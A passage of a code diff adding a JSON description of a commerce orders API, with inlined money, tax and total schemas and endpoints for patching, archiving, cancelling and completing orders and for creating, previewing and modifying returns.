Precision", + "type": "object" + }, + "subTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "taxTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "total": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + } + }, + "required": [ + "taxTotal", + "subTotal" + ], + "type": "object" + } + }, + "required": [ + "name", + "amount", + "totals" + ], + "title": "Shipping Line", + "type": "object" + }, + "type": "array" + }, + "staffUserIds": { + "description": "Staff users associated with the order", + "items": { + "description": "Staff user identifier", + "type": "string" + }, + "maxItems": 5, + "type": "array" + }, + "statuses": { + "description": "Current fulfillment status, payment status, and main status for the order", + "properties": { + "fulfillmentStatus": { + "$id": "https://godaddy.com/schemas/commerce/orders/fulfillment-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The current fulfillment status for an order or line item", + "enum": [ + "UNFULFILLED", + "ON_HOLD", + "IN_PROGRESS", + "PARTIALLY_FULFILLED", + "FULFILLED", + "PARTIALLY_RETURNED", + "RETURNED", + "AWAITING", + "CONFIRMED", + "CANCELED" + ], + "title": "Fulfillment Status", + "type": "string" + }, + "paymentStatus": { + "$id": "https://godaddy.com/schemas/commerce/orders/payment-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The current payment status for an order", + "enum": [ + "NONE", + "PROCESSING", + "PARTIALLY_PAID", + "PAID", + "PARTIALLY_REFUNDED", + "REFUNDED", + "CANCELED", + "PENDING", + "EXTERNALLY_PROCESSED", + "FAILED" + ], + "title": "Payment Status", + "type": "string" + } + }, + "required": [ + "paymentStatus", + "fulfillmentStatus" + ], + "type": "object" + }, + "tags": { + "description": "Tags associated to this order", + "items": { + "description": "A tag is an attribute of an order that does not change", + "example": "has_digital_goods", + "type": "string" + }, + "maxItems": 5, + "type": "array" + }, + "taxExempted": { + "default": false, + "description": "Details whether the order is tax exempt", + "type": "boolean" + }, + "taxes": { + "description": "Taxes for an order", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/order-tax.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A Order tax is applied at the broad order level", + "properties": { + "additional": { + "default": false, + "description": "Determines if the tax object is an additional tax (true) or an aggregate (false) of line item taxes. Useful for display and charge purposes", + "type": "boolean" + }, + "amount": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "exempted": { + "default": false, + "description": "Determines whether the tax was exempted. Can be used to explicitly explain why a tax has a zero amount", + "type": "boolean" + }, + "externalIds": { + "description": "A set of externalIds associated with the tax object", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/external-id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An externalId object", + "properties": { + "type": { + "description": "Type of the externalId", + "example": "POYNT_ID", + "type": "string" + }, + "value": { + "description": "Value of the externalId", + "example": "5fd460e7-bca8-41d0-a87e-4025fd38406f", + "type": "string" + } + }, + "required": [ + "type", + "value" + ], + "title": "External ID", + "type": "object" + }, + "maxItems": 2, + "type": "array" + }, + "id": { + "description": "An identifier unique to the tax object (). Auto-generated by the service on creation", + "example": "2OzALD8dzE5gQUiia1qA2gvQJsn", + "readOnly": true, + "type": "string" + }, + "included": { + "default": false, + "description": "Determines whether the tax was included in order / line item / shipping subtotals", + "type": "boolean" + }, + "metafields": { + "description": "Metafields that allow clients to store source data for a tax", + "items": { + "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Metafields enable the consumer to attach additional information to a resource, such as an Order or Line Item", + "properties": { + "key": { + "description": "The unique identifier for the metafield in its namespace", + "example": "freeShipping", + "type": "string" + }, + "type": { + "default": "JSON", + "description": "The type of data that the metafield stores in the `value` field", + "enum": [ + "JSON" + ], + "type": "string" + }, + "value": { + "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", + "example": "{ \"qualityVerified\" : \"true\" }", + "maxLength": 1024, + "type": "string" + } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "maxItems": 5, + "type": "array" + }, + "name": { + "description": "Name of the tax used for display purposes", + "type": "string" + }, + "ratePercentage": { + "$id": "https://godaddy.com/schemas/common/percentage.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A percentage value as a signed decimal number. For example, it defines a 12.34% interest rate as `12.34`.", + "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$", + "type": "string" + }, + "referenceId": { + "deprecated": true, + "description": "Reference identifier for the tax object", + "example": "141b4db0-d0d6-4792-9251-a35b2bc304c6", + "type": "string" + } + }, + "required": [ + "name", + "amount" + ], + "title": "Order Tax", + "type": "object" + }, + "type": "array" + }, + "totals": { + "$id": "https://godaddy.com/schemas/commerce/orders/total.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Grouped totals for an order", + "properties": { + "addonsTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "discountTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "feeTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "productDiscountTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "shippingDiscountTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "shippingTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "subTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "taxTotal": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + }, + "total": { + "$id": "https://godaddy.com/schemas/common/simple-money.v1", + "$schema": "http://json-schema.org/draft/2020-12/schema", + "description": "The currency and amount for a financial transaction, such as a balance or payment due. Use for value representations with default transactable-value precision.", + "properties": { + "currencyCode": { + "description": "A three-character ISO-4217 currency code.", + "maxLength": 3, + "minLength": 3, + "type": "string" + }, + "value": { + "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217).", + "minimum": 0, + "type": "integer" + } + }, + "required": [ + "currencyCode", + "value" + ], + "title": "Simple Money with Fixed Precision", + "type": "object" + } + }, + "required": [ + "subTotal", + "shippingTotal", + "discountTotal", + "feeTotal", + "taxTotal", + "total" + ], + "title": "Total", + "type": "object" + }, + "transactionIds": { + "description": "List of transactions as defined by the Transaction Service associated with the order", + "items": { + "description": "Transaction ID", + "type": "string" + }, + "type": "array" + } + }, + "required": [ + "context" + ], + "title": "Order Patch", + "type": "object" + } + }, + "responses": { + "200": { + "description": "Successfully patched the order", + "schema": { + "properties": { + "order": { + "$ref": "./models/Order.yaml" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "order" + ], + "type": "object" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.order:update" + ] + }, + { + "operationId": "archiveOrder", + "method": "POST", + "path": "/v1/commerce/stores/{storeId}/orders/{orderId}/archive", + "summary": "Archive an order", + "description": "Archive an order using the store and order IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + }, + { + "name": "orderId", + "in": "path", + "required": true, + "description": "The ID of the order", + "schema": { + "$ref": "./models/Order.yaml#/properties/id" + } + } + ], + "responses": { + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully archived the order", + "schema": { + "properties": { + "order": { + "$ref": "./models/Order.yaml" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "order" + ], + "type": "object" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.order:archive" + ] + }, + { + "operationId": "cancelOrder", + "method": "POST", + "path": "/v1/commerce/stores/{storeId}/orders/{orderId}/cancel", + "summary": "Cancel an order", + "description": "Cancel an order using the store and order IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + }, + { + "name": "orderId", + "in": "path", + "required": true, + "description": "The ID of the order", + "schema": { + "$ref": "./models/Order.yaml#/properties/id" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully canceled the order", + "schema": { + "properties": { + "order": { + "$ref": "./models/Order.yaml" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "order" + ], + "type": "object" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.order:cancel" + ] + }, + { + "operationId": "completeOrder", + "method": "POST", + "path": "/v1/commerce/stores/{storeId}/orders/{orderId}/complete", + "summary": "Complete an order", + "description": "Complete an order using the store and order IDs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + }, + { + "name": "orderId", + "in": "path", + "required": true, + "description": "The ID of the order", + "schema": { + "$ref": "./models/Order.yaml#/properties/id" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully completed the order", + "schema": { + "properties": { + "order": { + "$ref": "./models/Order.yaml" + }, + "status": { + "description": "Status of the response", + "example": "success", + "type": "string" + } + }, + "required": [ + "status", + "order" + ], + "type": "object" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.order:complete" + ] + }, + { + "operationId": "createReturnPreview", + "method": "POST", + "path": "/v1/commerce/stores/{storeId}/orders/{orderId}/return-previews", + "summary": "Preview a return with calculated refunds", + "description": "Preview a return and calculate refund amounts before creating the actual return. This endpoint calculates detailed refund adjustments including item-level refunds (purchase, taxes, discounts, fees) and order-level adjustments (order discounts, fees, additional taxes, shipping). Supports multiple refund modes for order-level adjustments and shipping costs.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + }, + { + "name": "orderId", + "in": "path", + "required": true, + "description": "The ID of the order", + "schema": { + "$ref": "./models/Order.yaml#/properties/id" + } + } + ], + "requestBody": { + "required": true, + "description": "The return preview request with items and refund calculation options", + "contentType": "application/json", + "schema": { + "$ref": "./models/ReturnPreview.yaml" + } + }, + "responses": { + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully calculated return preview with refund adjustments", + "schema": { + "$ref": "./models/ReturnPreview.yaml" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "400": { + "description": "Request validation error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.return:read" + ] + }, + { + "operationId": "queryOrderReturns", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/orders/{orderId}/returns", + "summary": "Find returns for an order", + "description": "Find returns for an order", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + }, + { + "name": "orderId", + "in": "path", + "required": true, + "description": "The ID of the order", + "schema": { + "$ref": "./models/Order.yaml#/properties/id" + } + } + ], + "responses": { + "200": { + "description": "Successfully listed returns", + "schema": { + "items": { + "$ref": "./models/Return.yaml" + }, + "type": "array" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.return:read" + ] + }, + { + "operationId": "createReturn", + "method": "POST", + "path": "/v1/commerce/stores/{storeId}/returns", + "summary": "Create a return for an order", + "description": "Create a return for an order", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + } + ], + "requestBody": { + "required": true, + "description": "The Return object to create", + "contentType": "application/json", + "schema": { + "$ref": "./models/Return.yaml" + } + }, + "responses": { + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully created the return", + "schema": { + "$ref": "./models/Return.yaml" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.return:create" + ] + }, + { + "operationId": "findReturn", + "method": "GET", + "path": "/v1/commerce/stores/{storeId}/returns/{returnId}", + "summary": "Find a return", + "description": "Find a single return.", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + }, + { + "name": "returnId", + "in": "path", + "required": true, + "description": "The ID of the return", + "schema": { + "description": "UUID of the return", + "format": "uuid", + "type": "string" + } + } + ], + "responses": { + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully found the return", + "schema": { + "$ref": "./models/Return.yaml" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + } + }, + "scopes": [ + "commerce.return:read" + ] + }, + { + "operationId": "patchReturn", + "method": "PATCH", + "path": "/v1/commerce/stores/{storeId}/returns/{returnId}", + "summary": "Modify an existing return", + "description": "Modify an existing return", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "Store ID", + "schema": { + "$ref": "./models/Order.yaml#/properties/context/properties/storeId" + } + }, + { + "name": "returnId", + "in": "path", + "required": true, + "description": "The ID of the return", + "schema": { + "description": "UUID of the return", + "format": "uuid", + "type": "string" + } + } + ], + "requestBody": { + "required": true, + "description": "The return object to patch", + "contentType": "application/json", + "schema": { + "items": { + "$id": "https://godaddy.com/schemas/common/patch.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The JSON patch object to apply partial updates to resources.", + "properties": { + "from": { + "description": "The JSON pointer to the target document location from which to move the value. Required for the `move` operation.", + "type": "string" + }, + "op": { + "description": "The operation to complete.", + "enum": [ + "add", + "remove", + "replace", + "move", + "copy", + "test" + ], + "type": "string" + }, + "path": { + "description": "The JSON pointer to the target document location at which to complete the operation.", + "type": "string" + }, + "value": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "integer" + }, + { + "type": "string" + }, + { + "type": "boolean" + }, + { + "items": {}, + "type": "array" + }, + { + "type": "object" + } + ], + "description": "The value to apply. The `remove` operation does not require a value.", + "nullable": true + } + }, + "required": [ + "op" + ], + "title": "Patch", + "type": "object" + }, + "type": "array" + } + }, + "responses": { + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "409": { + "description": "Application-specific server state error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "Application-specific request error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "503": { + "description": "Service is temporarily unavailable", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "403": { + "description": "Authenticated user is not allowed access", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "502": { + "description": "Bad gateway or failed dependency", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "200": { + "description": "Successfully patched the return status", + "schema": { + "$ref": "./models/Return.yaml" + } + }, + "401": { + "description": "Authentication info not sent or is invalid", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "504": { + "description": "Gateway or dependency timeout", + 